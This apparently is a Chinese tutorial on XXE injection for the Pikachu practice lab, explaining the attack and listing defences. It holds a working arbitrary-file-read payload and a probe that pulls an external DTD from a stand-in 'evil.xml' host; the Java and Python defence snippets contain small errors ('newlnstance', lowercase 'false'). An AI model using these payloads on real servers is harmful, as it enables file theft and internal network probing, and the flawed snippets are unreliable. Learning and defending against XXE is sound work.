1. 程式人生 > 其它 >pikachu——XXE

pikachu——XXE

XXE注入定義

XXE注入,XML外部實體注入。通過XML實體,“SYSTEM”關鍵詞導致XML解析器可以從本地檔案或者遠端URI中讀取資料。所以攻擊者可以通過XML實體傳遞自己構造的惡意值,使處理程式解析它。當引用外部實體時,通過構造惡意內容,可導致讀取任意檔案、執行系統命令、探測內網埠、攻擊內網網站等危害。

XXE漏洞原理

既然XML可以從外部讀取DTD檔案,那我們自然地想到 瞭如果將路徑換成另一個路徑,那麼伺服器在解析這個XML的時候就會把那個檔案的內容賦值給SYSTEM前面的根元素中,只要我們在XML中讓前面的根元素的內容顯示出來,不就可以讀取那個檔案的內容了。這就造成了一個任意檔案讀取漏洞。

xxe漏洞觸發的點往往是可以上傳xml檔案的位置,沒有對上傳的xml檔案進行過濾,導致可上傳惡意xml檔案

那如果我們指向的是一個內網主機的埠呢?是否會給出錯誤資訊,我們是不是可以從錯誤資訊上來判斷內網主機這個埠是否開放,這就造成了一個內部埠被探測的問題。另外,一般來說,伺服器解析XML有兩種方式,一種是一次性將整個XML載入進記憶體中,進行解析;另一種是一部分一部分的、“流式”地載入、解析。如果我們遞迴地呼叫XML定義,一次性呼叫巨量的定義,那麼伺服器的記憶體就會被消耗完,造成了拒絕服務攻擊。

任意檔案讀取

payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE name [
<!ENTITY xxe SYSTEM "file:///D://testr.txt"> ]> <name>&xxe;</name>

判斷是否存在XXE漏洞

(1)檢測XML是否會被解析

<?xml version=”1.0” encoding=”UTF-8”?>

<!DOCTYPE ANY [

<!ENTITY shit “this is shit”>

]>

<root>&shit;</root>

如果$shit;變成了”thisisshit”,那就繼續第二步。

(2)檢測伺服器是否支援外部實體:

<?xml version=”1.0” encoding=”UTF-8”?>

<!DOCTYPE ANY [

<!ENTITY % shit SYSTEM “http://youhost/evil.xml”>

%shit;

]>

通過檢視自己伺服器上的日誌來判斷,看目標伺服器是否向你的伺服器發了一條請求evil.xml的HTTPrequest。

(3)如果上面兩步都支援,那麼就看能否回顯。如果能回顯,就可以直接使用外部實體的方式進行攻擊。當然有時候伺服器會不支援一般實體的引用,也就是在DTD之外無法引用實體,如果這樣的話,只能使用Blind XXE攻擊。

(4)如果不能回顯,使用Blind XXE攻擊方法。

防禦XXE

(1)使用開發語言提供的禁用外部實體的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newlnstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData=etree.parse(xmlSource,etree.XMLParser(resolve_entities=false))
(2)過濾使用者提交的XML資料 過濾關鍵字:<\!DOCTYPE和</!ENTITY,或者SYSTEM和PUBLIC (3)不允許XML中含有自己定義的DTD